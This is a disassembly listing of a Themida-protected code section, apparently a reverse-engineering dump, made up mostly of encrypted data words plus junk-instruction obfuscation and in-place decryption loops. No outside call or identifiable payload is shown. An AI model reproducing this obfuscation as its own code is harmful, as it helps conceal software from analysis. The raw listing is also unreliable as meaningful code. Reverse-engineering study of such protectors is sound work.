		dd 64D85C7h, 71A00614h,	0E6800000h, 7185C795h, 61426h
		dd 8B000000h, 1426819Dh, 14E806h, 0D8030000h, 0FB393D80h
		dd 0B3C05DA2h, 89AE426Fh, 92327535h, 9D016BB4h,	6140AD1h
		dd 11B5FF58h, 0F061421h, 95FFC7BFh, 6142361h, 23A1BD8Bh
		dd 6A0614h, 116995FFh, 0C08B0614h, 0BADD29EBh, 0A80AC225h
		dd 5CD6DC4Fh, 6CCD7D3Dh, 88FDFC78h, 0AB50184Dh,	0CF6DB88h
		dd 0BDA0F35Ch, 113E312Bh, 655AB646h, 0E8A26A4Bh, 14h, 20175F1Fh
		dd 0AE37696Fh, 0E092C664h, 0AD1F1D8Ah, 279CA73Ah, 9018D89h
		dd 815E0614h, 6F49C6h, 0C6BF0F00h, 0B9h, 1DBD2900h, 8B06140Ch
		dd 8B0F0E1Ch, 0
		dd 0BE4DEB81h, 830F22B1h, 6, 0A499533h,	0EB810614h, 4F463E3Eh
		dd 3860Fh, 0BF0F0000h, 15F381FBh, 89711526h, 1406618Dh
		dd 8FF95306h, 0B5010E04h, 6140549h, 8E58D89h, 0E9830614h
		dd 0E99D8904h, 81061434h, 0FF9144F9h, 0A4850FFFh, 89FFFFFFh
		dd 143501B5h, 0EE806h, 0FD680000h, 7C2F3CDCh, 0B136FC1Bh
		dd 53A5338Ch, 6840F59h,	89000000h, 1409D185h, 3FC18106h
		dd 0E9000061h, 0Ah, 523CB1C6h, 2D8C4B47h, 26BBEEE7h, 0F000018h
		dd 398BF2BFh, 0C7D8529h, 0EF810614h, 0D5CFF31h,	0CEE2C781h
		dd 8C0F519Dh, 6, 1725BD29h, 0F7810614h,	9DC0D92h, 1941B58Bh
		dd 39890614h, 8B03E983h, 141625B5h, 81F54906h, 1EBh, 12850F00h
		dd 0E9000000h, 29h, 0B9E9375Ah,	7BF01AB8h, 10747925h, 2820F6Ch
		dd 0B6000000h, 0FF9CE935h, 0A43EFFFFh, 473DEE69h, 0B048A2FCh
		dd 0E3CFD71Eh, 10E983h,	0CE230000h, 4FD1h, 2 dup(0)
		dd 0ADE90000h, 68000004h, 61ADDFCh, 0F9A106E9h,	0DE6068FFh
		dd 0FCE9061Ah, 68FFF9A0h, 61AE00Fh, 0F9A0F2E9h,	239C40FFh
		dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h
		dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh,	0C4AC9298h
		dd 0C5C0580Ch, 0F8C5125Eh, 24973F4Ch, 0D888F6D2h, 0FA00C890h
		dd 51F1E814h, 8DD10028h, 57E51CCEh, 4C145C84h, 5FC6046h
		dd 0E6D3E358h, 0C3D267B2h, 3CA6D5FDh, 5F914F6h,	5DFD1F58h
		dd 0D9E11F46h, 30ADFF8h, 17F60000h, 8632874Ah, 4DB3FF2Eh
		dd 569E42B0h, 0E5020550h, 2B7A5157h, 7770C8A0h,	401DA1D0h
		dd 247C2891h, 2C97EB8Ch, 0B4B52924h, 7B529A46h,	0C657B496h
		dd 292F5E15h, 600AFC23h, 0BE6A925Bh, 549C44B2h,	7426594Eh
		dd 1B638B61h, 0E133884Eh, 0BE9D204h, 351C9215h,	36283620h
		dd 0E000003h, 0C29FF1CEh, 7D5AAC11h, 37146655h,	0ECC91B9Eh
		dd 4780D2EBh, 25983F71h, 0DEDBF6D3h, 9629AF8Ch,	4C6F6744h
		dd 6066EEFAh, 580CC57Ah, 132C938Eh, 0ABB1F9A5h,	57EAC4CAh
		dd 9C64ACD4h, 58F709CFh, 0C4299D6h, 8C97C65Eh, 4320724Bh
		dd 377D2994h, 580CBB56h, 0E0BEFDD9h, 3EA4FD4Ah,	0D20715FFh
		dd 72000002h, 2603556Ah, 0E1BE10ADh, 9B78CAF1h,	502D7F3Ah
		dd 0ABE43687h, 8934A30Dh, 42775A37h, 0FAC513F0h, 0B00BCBA8h
		dd 0C4CA525Eh, 580CC5DEh, 1390F7F2h, 5D4349A5h,	7151F1E8h
		dd 0EEEBF249h, 0FF0AA7F8h, 38191F67h, 4257EB9Ah, 46286E1Ah
		dd 51580D9Ah, 0ED78132Fh, 11F8D23Bh, 1ECh, 0F7C41228h
		dd 0B85CD8AFh, 606C9B15h, 469E4A73h, 8157FAEh, 0CEA5EDCEh
		dd 7B1A9649h, 38487752h, 0FA42EE5Ch, 0E54A61F4h, 0FBA7CF57h
		dd 629D3B5h, 3B08DE58h,	516E6A9Ah, 86B50DB9h, 0E87D1634h
		dd 76F8D9ABh, 31C2A8AEh, 0AED65806h, 72197Fh, 17300000h
		dd 9787840h, 4B7A745Eh,	0E32BD341h, 9A93441Bh, 51CA5174h
		dd 0A81BDE22h, 9A6757E5h, 7DD5813Eh, 0EA19A230h, 6E4D8966h
		dd 1C226AC2h, 5806A836h, 428A224Ah, 2D5C6375h, 0A79B7DC3h
		dd 0D0A65806h, 0A5EDD003h, 6A7B99Fh, 76A5CD58h,	0F86D6624h
		dd 66F8D931h, 0B3B2989Eh, 933F5806h, 5E247C28h,	2E8EE36h
		dd 165806B4h, 0D259BFEEh, 70000000h, 0AFF7C412h, 33191FE7h
		dd 4751F1E8h, 0E7B3991Fh, 9FC751F1h, 0DEF90670h, 0B02633DFh
		dd 84525F0Bh, 2127EF37h, 51F1E83Bh, 0E7E1C7CDh,	0CDF551F1h
		dd 0A0B0DF07h, 0F1ECCA8Ah, 0F0CB0B51h, 57EFC69Eh, 58A78E5Eh
		dd 94020C3Bh, 0FDCA4ECh, 896FF5C8h, 9D51F27Fh, 3A404675h
		dd 57E755A1h, 0CE9BE30Bh, 8086B50Ah, 0E3E924B3h, 580934FDh
		dd 0FF51E911h, 3F7C5A27h, 9F858B93h, 0B3580934h, 0B9C4F38Bh
		dd 73C19F1Eh, 0EA3EA882h, 123F200h, 0BB210000h,	0FED5B204h
		dd 42906DBFh, 8B4A2779h, 0D8FFDC2Eh, 5E5A93E5h,	0E6388552h
		dd 9FF1C809h, 57A916C2h, 0D5F5C7Ah, 8D737901h, 0A1580CC7h
		dd 0C5123FA6h, 812D9043h, 7C499129h, 27376657h,	0DD2F8C4Ah
		dd 0F7C41224h, 6E983E4Bh, 52AA5663h, 53EBD205h,	4375340Bh
		dd 751A3DF6h, 0EC5A3646h, 0F525FC44h, 64674C57h, 0CA9298C7h
		dd 0A416FC02h, 4D2A51F2h, 709F3786h, 0E610C12Ch, 5FA7CF57h
		dd 26784592h, 6F22E10h,	9823B358h, 37A16E46h, 894E5988h
		dd 8A7A8834h, 0D1000000h, 0B1F9A513h, 0EAC4BEABh, 0FCA8D057h
		dd 0B91FE7EFh, 53435A06h, 0E78132DBh, 9FF18921h, 13F9FFC7h
		dd 27580C2Eh, 11C5D0FFh, 1FF6FEAAh, 0F2D48E0Dh,	0FF437262h
		dd 21D53640h, 0B521EE06h, 8B4D5A06h, 1B6D9C34h,	0AA11C57Fh
		dd 605B7B58h, 8B2EA7B4h, 8BFF6C43h, 336893E0h, 0A3459A04h
		dd 7D894DE7h, 61B96554h, 3C9A77C9h, 0A560377Fh,	216E7E2Fh
		dd 8B990332h, 11h, 6C4ECC3h, 0D1553FA5h, 5EE4BBA2h, 4C7B4291h
		dd 0F5CA1265h, 219A3C49h, 4F706875h, 7E3B96A3h,	0AB12C5D2h
		dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 895233B8h
		dd 4C281E2h, 83000000h,	148704EAh, 24248B24h, 4D0C68h
		dd 243C8900h, 4E5168h, 240C8900h, 1ADD2E68h, 243C8B06h
		dd 4C481h, 8B540000h, 0C483240Ch, 8BA5204h, 81000000h
		dd 1E1993EAh, 81CA012Bh, 1E1993C2h, 5A3A892Bh, 592434FFh
		dd 0FF04C483h, 835F2434h, 68E904C4h, 7FFF99Ch, 3F784544h
		dd 1AE157B8h, 0FFC50306h, 6A7B87E0h, 3B177909h,	97222667h
		dd 3DF8134Dh, 3EE97B1Dh, 99F43E62h, 0E888BB79h,	380A8014h
		dd 0DF3F862Bh, 54959E68h, 0F28D8D3Bh, 6A061AE2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 637C356h, 32298D89h,	95330614h, 6140BB5h, 64D85C7h
		dd 64280614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0C77BCAC3h, 14267185h, 6, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 113DE840h, 99BD33CBh, 60061421h, 0A58D8960h,	8B061425h
		dd 141D898Dh, 85296106h, 61400F5h, 91B5FF61h, 6A061405h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0C10C351h, 0CC228136h, 500A329Dh,	0F81B58Bh
		dd 0FF5F0614h, 14236195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 7FF140CDh
		dd 0DA8B113Ah, 5DBD33h,	6A0614h, 116995FFh
; ---------------------------------------------------------------------------


loc_5B6ED0:				; DATA XREF: Themida_:0054B184o
		adc	al, 6
		mov	eax, eax
		jmp	short loc_5B6F55
; ---------------------------------------------------------------------------
		sbb	dh, [edx-28h]
		jns	short loc_5B6F3C
		dec	esi
		retf
; ---------------------------------------------------------------------------
		db 0EAh, 71h, 0B7h
		dd 0EDDA9997h, 5D69D55Fh, 1BF24695h, 54F1C7DAh,	6931BC25h
		dd 0E66212D1h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		aas


loc_5B6EFA:				; CODE XREF: Themida_:005B6F3Fj
		cmpsd
		mov	edx, [esi+edi*2-703FD60Ah]
		popf
		inc	ebx
		iret
; ---------------------------------------------------------------------------
		db 7Fh,	48h, 0C7h
		dd 0E4B8D3CFh, 12FE3A0Ah, 1F055D19h, 9F0013C5h,	1A332BA7h
		dd 2B218799h, 0D23DDBA5h, 1CDDAF2Ch, 18D99A4Ah,	8930CB3Ch
		dd 3D1890D7h, 80547641h, 0C9A8B459h
; ---------------------------------------------------------------------------


loc_5B6F3C:				; CODE XREF: Themida_:005B6ED9j
		push	edi
		add	bl, [edi]
		js	short loc_5B6EFA
		fscale
		add	edi, 40h
		stosd
		sbb	[esi+0FDB1F5Bh], cl
		push	ecx
		db	2Eh
		out	dx, eax
		add	al, 0CAh
		cmp	byte ptr [edi],	0DAh


loc_5B6F55:				; CODE XREF: Themida_:005B6ED4j
		lea	ecx, [ebp+61AE4A1h]
		push	0
		push	esi
		call	sub_5B6F66
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6F66	proc near		; CODE XREF: Themida_:005B6F5Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5B6F66	endp

; ---------------------------------------------------------------------------
		dw 0B6D4h
		dd 324B2D08h, 0FE918h, 0CE590000h, 35A932A2h, 0BDFADD15h
		dd 6008138Dh, 0DDB58BD1h, 89061402h, 1432298Dh,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0B9ADEC1Eh, 166131C4h, 9533EE11h, 614235Dh, 0EE9h, 0F616EC00h
		dd 0E6EACE11h, 0C00FE4DBh, 0C72FA0F5h, 14064D85h, 5D9806h
		dd 0B71BF00h, 0BD314110h, 61431CDh, 267185C7h, 614h, 95890000h
		dd 6142E6Dh, 0C4DB5FFh,	6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 5BB1BFC3h, 0A7C4B7F8h
		dd 0E840BA36h, 0Fh, 9D2B390Dh, 0D9941C47h, 94768102h, 0F38897Bh
		dd 38Eh, 0F9BF0F00h, 6195FF58h,	6A061423h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 2885C350h
		dd 0C5C9F65Eh, 3F75201Dh, 6DDF8166h, 0FF006AC9h, 14116995h
		dd 0EBC08B06h, 0E3BD284Ah, 38A83DE9h, 355F8D31h, 0E6AB166Bh
		dd 3A6BB97Ah, 197E4175h, 5004EDB1h, 5AB5EA67h, 0D28146A2h
		dd 4BE24048h, 34FE8419h, 236542C4h, 0BB76DE8Ah,	0C8927E18h
		dd 637D83D3h, 0A93B9CFBh, 0C0C0D46Ch, 0CC3D65FCh, 0E8995766h
		dd 6, 0BB8CB9A5h, 0F55BFFEEh, 5CA6C381h, 810F0000h, 6
		dd 2E418589h, 0FABF0614h, 89000016h, 1430F18Dh,	8B038B06h
		dd 140D3595h, 1EC08106h, 6053B31Ch, 8B53C3B3h, 816159CEh
		dd 933E0E8h, 12E94Eh, 55150000h, 2C4B2726h, 0A75B3616h
		dd 41AF2057h, 53A938F0h, 7FA6F081h, 0FE97A9Dh, 0B6000000h
		dd 0A8E2B756h, 7BE0A9D7h, 0BC2781B5h, 8B503EBBh, 0E9038FF2h
		dd 0Ch,	27388ED7h, 0B192F1FDh, 0F6DE0A50h, 6604EB83h, 81DA23B9h
		dd 1EFh, 11850F00h, 66000000h, 0E9ED7CB9h, 1Eh,	24D1431Fh
		dd 5F21F38Bh, 200BBE66h, 0FFFF70E9h, 0C9F9FFFh,	0D0F64717h
		dd 6DD4B708h, 11E8C9F8h, 7C000000h, 3E25AEA6h, 66AEA9BDh
		dd 0BF0C2751h, 37CE5484h, 0F08B6659h, 75CCC181h, 0C38A0000h
		dd 0BFh, 0C6B70F00h, 8A0F34FFh,	89605AFCh, 1400919Dh, 0C5858906h
		dd 6106141Bh, 0DEE8EA81h, 0E3812AE2h, 12319672h, 13E2F281h
		dd 81660517h, 814387D0h, 0C7BC23F2h, 0C28B6642h, 0B1B50152h
		dd 8F06140Bh, 860F3904h, 3, 0F89E080h, 688h, 49B52300h
		dd 83061419h, 84BE04EFh, 8154C9B3h, 0FF8AF4FFh,	1A850FFFh
		dd 89000000h, 1422DD85h, 2DE906h, 28D90000h, 4FFCA2h, 0BDCA5BFBh
		dd 0F80CD2DDh, 0C314B84Eh, 75E91D07h, 0ACFFFFFFh, 769CC805h
		dd 0A4327FB9h, 51BA61ADh, 3F50EC13h, 8DF22E6Ah,	1AE75D8Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0A53FD16Ch, 4B10A967h, 2DB58977h, 66061400h
		dd 8D89F98Bh, 6143229h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 9AC35747h, 64D85C7h, 72840614h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0EADE56C3h, 0BB74DA96h, 0FA37636h, 0B86h, 58D0F00h
		dd 66000000h, 5B76EF81h, 267185C7h, 614h, 0D3810000h, 599E9B88h
		dd 0C4DB5FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 7BCE50C3h, 0AE01AC6Bh, 0FFDA8B4Eh
		dd 14236195h, 0FF006A06h, 14116995h, 0EBC08B06h, 0EDC9EE4Ah
		dd 88A98F8Ch, 899C3179h, 6252799Bh, 8728E4A6h, 0FAAEB506h
		dd 25439360h, 9EB3C1B1h, 0B0D49C86h, 0AB5CE4CAh, 0E6904A4h
		dd 18D02664h, 9A6E7A7Dh, 0A3A39605h, 86DC5F5Eh,	0C9F333B2h
		dd 8F9FD838h, 2C6AF582h, 8DAC6127h, 1AE8918Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 1D293DF0h, 298D89FCh, 6A061432h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 7F7AC357h
		dd 895A1C0Dh, 1425F59Dh, 4D85C706h, 0F0061406h,	6A000072h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7CE9C357h, 1A20FC8Dh, 0F2C3088h, 687h, 59B58900h
		dd 2906140Ch, 1420318Dh, 0F8BF0F06h, 267185C7h,	614h, 6E90000h
		dd 7000000h, 13D61DCBh,	4DB5FF2Bh, 6A06140Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 1A68C357h, 65C956C0h, 0FF44DF78h, 14236195h,	0FEBB6606h
		dd 0FF006A36h, 14116995h, 0EBC08B06h, 0AC02324Ah, 7138684Eh
		dd 0F34C4295h, 75735510h, 0F1E1F080h, 4D30CF2Eh, 0CDDAF9D0h
		dd 2E9B4813h, 0DDB169D1h, 0DE8E253Eh, 0FB623912h, 6712B7Dh
		dd 0C16D20Fh, 1D4B467Ch, 41274C56h, 20D9D2B8h, 979F3011h
		dd 0C4F623B1h, 8D8615B4h, 1AE9758Dh, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 8D9D3111h
		dd 89061421h, 1432298Dh, 6E906h, 5AA90000h, 4BC8BA6Eh
		dd 2B99589h, 85C70614h,	614064Dh, 6074h, 0C359D89h, 85C70614h
		dd 6142671h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+6140955h],	esi
		push	dword ptr [ebp+6141071h]
		call	dword ptr [ebp+6142361h]
		push	0
		push	edi
		call	sub_5B7535
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7535	proc near		; CODE XREF: Themida_:005B752Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5B7535	endp

; ---------------------------------------------------------------------------
		xlat
		dec	edx
		inc	ebx
		shl	byte ptr [edx],	cl
		aas
		or	al, 0B7h
		push	0
		call	dword ptr [ebp+6141169h]
		mov	eax, eax
		jmp	short loc_5B7568
; ---------------------------------------------------------------------------
		db 82h,	7Ah, 1Dh
		dd 653A7B4Fh, 10BAE66Bh, 2C1C3F32h
; ---------------------------------------------------------------------------


loc_5B7568:				; CODE XREF: Themida_:005B7557j
		call	sub_5B7578
		sbb	eax, 37A8C223h
		daa
		retn	0A984h
; ---------------------------------------------------------------------------
		dw 0C5A7h

; =============== S U B	R O U T	I N E =======================================



sub_5B7578	proc near		; CODE XREF: Themida_:loc_5B7568p
		mov	cx, 36A1h
		pop	ebx
		movsx	edx, di
		add	ebx, 5E42h
		xor	dx, 38D8h
		push	1768h
		pop	edi
		and	ah, 0B9h


loc_5B7594:				; CODE XREF: sub_5B7578+70j
		mov	esi, [ebx]
		pusha
		mov	[ebp+61402F9h],	edi
		xor	dx, 946Ch
		popa
		sub	esi, 1DF90202h
		pusha
		cmc
		mov	edi, 54D23B7Dh
		popa
		add	esi, 574926Dh
		mov	ecx, eax
		xor	esi, 0E000666h
		and	eax, 453125AFh
		mov	[ebx], esi
		add	eax, [ebp+6142C65h]
		sub	ebx, 0FF384BFh
		jnz	loc_5B75DE
		mov	ecx, 748BCF48h


loc_5B75DE:				; CODE XREF: sub_5B7578+5Bj
		add	ebx, 0FF384BBh
		cmc
		sub	edi, 1
		jnz	loc_5B7594
		jnp	near ptr loc_5B760F+4
		jp	near ptr loc_5B760F+4
		call	near ptr loc_5B760F+3
		ror	byte ptr [edi+3FEFEF1Fh], cl
		xor	ebp, [esi-0Fh]
		cmp	eax, 0B0BD8FE0h
		std
		push	esp


loc_5B760F:				; CODE XREF: sub_5B7578+82p
					; sub_5B7578+76j ...
		adc	eax, 10E8596Dh
sub_5B7578	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 0B3BA5B0Bh, 0AA32F49h, 0E8A7160Fh, 0B784401Ah, 21E78166h
		dd 0C1815970h, 5BC3h, 3CD952Bh,	0CF680614h, 0F000016h
		dd 87h,	0BF665800h, 198BB313h, 540ABF66h, 7E8BEB81h, 8D895CF0h
		dd 614306Dh, 7983C381h,	98B26211h, 17F5C381h, 840F7E1Ah
		dd 6, 31A5BD8Bh, 19890614h, 0E981F38Bh,	31AF55EFh, 0CDD9D89h
		dd 0C1810614h, 31AF55EBh, 25B59D89h, 0E8810614h, 1, 0FFAC850Fh
		dd 8166FFFFh, 8D8B5AF6h, 1AEBAE8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 24C526D3h
		dd 68F0Fh, 0CE810000h, 123ABDBAh, 32298D89h, 6A0614h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 17C12DC3h, 85C7DCB4h, 614064Dh, 751Ch, 267185C7h, 614h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 438974C3h, 4ACD1B9Bh, 0B5899021h,	6140621h
		dd 0D49B5FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 27C38EC3h, 33FDC9DEh, 0FFF90CA4h
		dd 14236195h, 10E96006h, 0EF000000h, 8860C9ABh,	8D1F3D76h
		dd 2B5E176Dh, 61E22958h, 31458D89h, 6A0614h, 116995FFh
		dd 0C08B0614h, 477849EBh, 0E19FEA71h, 0F8092D86h, 0B347CAA5h
		dd 0BEB36144h, 0E09FA3F2h, 33A64BD1h, 0FC20CE27h, 0F04D2C5h
		dd 87B761E0h, 9B3E5B3Fh, 0C189B2B4h, 0D93419DBh, 14536AE2h
		dd 70B97194h, 0AAAE259Eh, 995B00EFh, 3A8D9A66h,	0E88BDA07h
		dd 6, 1BA31EFh,	0A8B2D7ACh, 81EFB05Fh, 5FE3C7h,	6880F00h
		dd 31000000h, 1434CD85h, 0E8F63306h, 12h, 0C1C8B022h, 576DCDE4h
		dd 7DC1D3C6h, 6FD55D29h, 860F2294h, 6, 0CBCCCB81h, 0FF5847D2h
		dd 9573E34h, 140965BDh,	1595B06h, 1403699Dh, 0A2C18106h
		dd 8B26C68Fh, 14348D85h, 0C8C18106h, 8137D917h,	0E352C3F1h
		dd 9E96Ah, 4B080000h, 0ADD0410Fh, 512D1695h, 48FC38Bh
		dd 0CE937h, 0B49F0000h,	0AA1E2C6h, 0CEDF62F5h, 10E8E488h
		db 3 dup(0)
byte_5B7877	db 6Fh			; DATA XREF: Themida_:0054B1C0o
; ---------------------------------------------------------------------------
		sub	al, bh
		add	[edi], esi
		push	esi
		xchg	al, [ebx+esi*8]
		dec	eax
		jnp	short near ptr loc_5B789F+1
		inc	esi
		retf	0ECBAh
; ---------------------------------------------------------------------------
		jmp	loc_5B7894
; ---------------------------------------------------------------------------
		dd 0BE7E8C66h, 1B13C697h
; ---------------------------------------------------------------------------


loc_5B7894:				; CODE XREF: Themida_:005B7887j
		pop	edx
		sub	esi, 1
		mov	bx, di
		dec	esi
		dec	esi
		dec	esi
		cld


loc_5B789F:				; CODE XREF: Themida_:005B7881j
		cmp	esi, 0FFFFA0F0h
		jnz	near ptr dword_5B7618+20Bh
		jg	loc_5B78B7
		mov	eax, [ebp+614199Dh]


loc_5B78B7:				; CODE XREF: Themida_:005B78ABj
		call	near ptr loc_5B78BD+4
		setalc


loc_5B78BD:				; CODE XREF: Themida_:loc_5B78B7p
		mov	eax, 0BB2B7811h
		adc	al, [edx-74A1B19Ch]
		mov	ebp, 614022Dh
		add	esi, 5AB0h
		pusha
		mov	[ebp+61425E1h],	edx
		jnp	loc_5B78E3
		mov	bx, si


loc_5B78E3:				; CODE XREF: Themida_:005B78DAj
		popa
		push	1685h
		and	ebx, [ebp+6140EE1h]
		pop	eax
		js	loc_5B7900
		pusha
		push	esi
		pop	ecx
		mov	[ebp+6141B99h],	edx
		popa


loc_5B7900:				; CODE XREF: Themida_:005B78F0j
					; Themida_:005B7950j
		mov	ecx, [esi]
		pusha
		stc
		mov	cx, 78A3h
		popa
		sub	ecx, 7DEAA97Ah
		mov	[ebp+61416EDh],	edx
		sub	ecx, 3FBEE681h
		ja	loc_5B7923
		mov	dl, 73h


loc_5B7923:				; CODE XREF: Themida_:005B791Bj
		sub	ecx, 59D4A2BEh
		mov	edx, [ebp+6140B21h]
		mov	[esi], ecx
		sub	[ebp+61429C1h],	edx
		sub	esi, 21C0195Ah
		mov	[ebp+614261Dh],	edx
		add	esi, 21C01956h
		mov	edx, [ebp+6140055h]
		dec	eax
		jnz	loc_5B7900
		js	$+6
		call	loc_5B7966
		retn	29C7h
; ---------------------------------------------------------------------------
		db 67h,	3Dh
; ---------------------------------------------------------------------------


loc_5B7966:				; CODE XREF: Themida_:005B795Cp
		mov	di, 94FCh
		pop	eax
		cld
		add	eax, 6195h
		mov	edx, [ebp+614257Dh]
		mov	ecx, 0
		jmp	loc_5B798D
; ---------------------------------------------------------------------------
		dw 0CF38h
		dd 3186FD1Ah, 89CE0EB3h
		db 15h
; ---------------------------------------------------------------------------


loc_5B798D:				; CODE XREF: Themida_:005B797Dj
					; Themida_:005B79EDj
		push	dword ptr [ecx+eax]
		mov	si, ax
		pop	ebx
		jmp	loc_5B799F
; ---------------------------------------------------------------------------
		db 28h,	0EAh, 0B0h
		db 80h,	0A5h, 82h
; ---------------------------------------------------------------------------


loc_5B799F:				; CODE XREF: Themida_:005B7994j
		add	ebx, 32FA504Dh
		jmp	loc_5B79BD
; ---------------------------------------------------------------------------
		dw 0CF56h
; ---------------------------------------------------------------------------
		push	69F80DA3h
		cli
		popa
		or	[edi+edx*2-29h], eax
		fidivr	word ptr [ecx-322C8DA9h]


loc_5B79BD:				; CODE XREF: Themida_:005B79A5j
		sub	ebx, 23D2B4B4h
		movzx	edx, di
		xor	ebx, 4C2E93Ch
		push	ebx
		pop	edx
		mov	[eax+ecx], ebx
		cld
		mov	esi, 923D2E9h
		sub	ecx, 2
		mov	edx, [ebp+614210Dh]
		dec	ecx
		dec	ecx
		sub	dx, 9A4Ch
		cmp	ecx, 0FFFF9EFCh
		jnz	loc_5B798D
		mov	di, bx
		inc	edx
		lodsb
		xor	al, 0A2h
		push	es
		and	al, 7Ch
		mov	ds:3BB37D7Ah, al
; ---------------------------------------------------------------------------
		dw 318Fh
		dd 2A218024h, 259083B4h, 25C46F30h, 98A78630h, 23068A11h
		dd 5A8D8930h, 0A6848630h, 31560F8Dh, 0A12E8636h, 25908642h
		dd 3F1103F6h, 4D6A8024h, 0A9279C97h, 0C22DB2B1h, 0DAA0F1FDh
		dd 314EA785h, 0FEA40B36h, 0DA9691B0h, 0E3B80DE0h, 313EDFB5h
		dd 8C7AC836h, 0A48E53D4h, 166DA204h, 90BDA9A7h,	233592B9h
		dd 0A54B03BDh, 0F5B78027h, 359D7EBBh, 0CC128630h, 25098638h
		dd 2B018996h, 6C428630h, 0A02E4F3Bh, 0DA6F79C0h, 25488BD9h
		dd 5CB90B30h, 9D14927Dh, 25098635h, 980965CFh, 23586827h
		dd 0CBF40BBDh, 3728802Ah, 0ECEB615h, 0AC4247FFh, 2406A234h
		dd 7D7AA27Ch, 318F3BB3h, 2A218024h, 259083B4h, 25C46F30h
		dd 98A78630h, 0F305E983h, 22B9A4h, 1CE90000h, 26000000h
		dd 3BAAF0h, 5 dup(0)
		dd 0E9000000h, 8D9h, 0C416A933h, 7FD1ECE7h, 398B30A2h
		dd 0EE40795Ch, 0A5F7C611h, 73644C6Ch, 0B61BF84Ah, 4D4B103h
		dd 4A8C69BBh, 8B131F71h, 0CD69F85h, 51B8B358h, 34894A17h
		dd 0E7DEC105h, 716551F1h, 0A810498Bh, 4F9C9B04h, 348C3883h
		dd 6E4A9Ch, 310850h, 0C1D7E1B3h, 363C4271h, 57E5AD9Bh
		dd 2835E109h, 0DFBC0EAFh, 8F4714F7h, 0ACC0A62Ch, 0ACD45806h
		dd 9A46795Fh, 0F1FEAA42h, 0C68ED6E5h, 1A7FCBEFh, 75FB61FFh
		dd 5806258Fh, 0AA0FC6A3h, 0DF0EA6FEh, 0E39F0375h, 6655814Eh
		dd 11AA2C37h, 0B3E481BFh, 0A37AF8D9h, 0C0DC4E0Dh, 902BABFEh
		dd 6463C9F8h, 7A000000h, 8F43C512h, 0B35F5A77h,	7F2BC35Bh
		dd 0A2A86572h, 51F1E7BCh, 6410A8D0h, 94407B57h,	0C16D5087h
		dd 0E6CB87ABh, 7FB2D034h, 6A9926B2h, 0F345785Fh, 0EDEDB0B5h
		dd 294EFEh, 17650000h, 1308D4Ah, 30DCE1F6h, 0F1E807EAh
		dd 0D1719551h, 874CBC1Bh, 7C828A36h, 51F1E796h,	52EA82AAh
		dd 2D2200h, 12790000h, 0E8B0F8C5h, 0F1E7FCE2h, 0B9E81051h
		dd 0E825094Fh, 0A38751F1h, 338A4DE7h, 0ED3209E1h, 8B0B7E75h
		dd 4FFBE1E7h, 0E70F51F2h, 1339204Fh, 0E4B1F9A5h, 0C51DC9F2h
		dd 0B38A9096h, 0A957E539h, 19E5CBD1h, 0D1F95806h, 0C16D4E84h
		dd 1825D169h, 0E2B901BAh, 0D361F880h, 0A21BB864h, 0D7069EF6h
		dd 0D3E8EAC7h, 1AD1B27h, 2329F1B9h, 5806E33Dh, 6B207CAh
		dd 91C0E8AEh, 0FA08624Dh, 2026EE5Dh, 5E1B083Ah,	73F7264Eh
		dd 0A84A9F4Bh, 488A57EAh, 0F8A419BEh, 0CED908A0h, 0A08CF804h
		dd 9DCBBE65h, 7ED68239h, 1FFC4EE6h, 165C08B3h, 5E1B9220h
		dd 4AE2A0C4h, 0D3627488h, 1404B483h, 17712A7Ch,	9B81874Fh
		dd 0AF51F1E7h, 0E81B0187h, 572F51F1h, 0F1E86B51h, 0BF577F51h
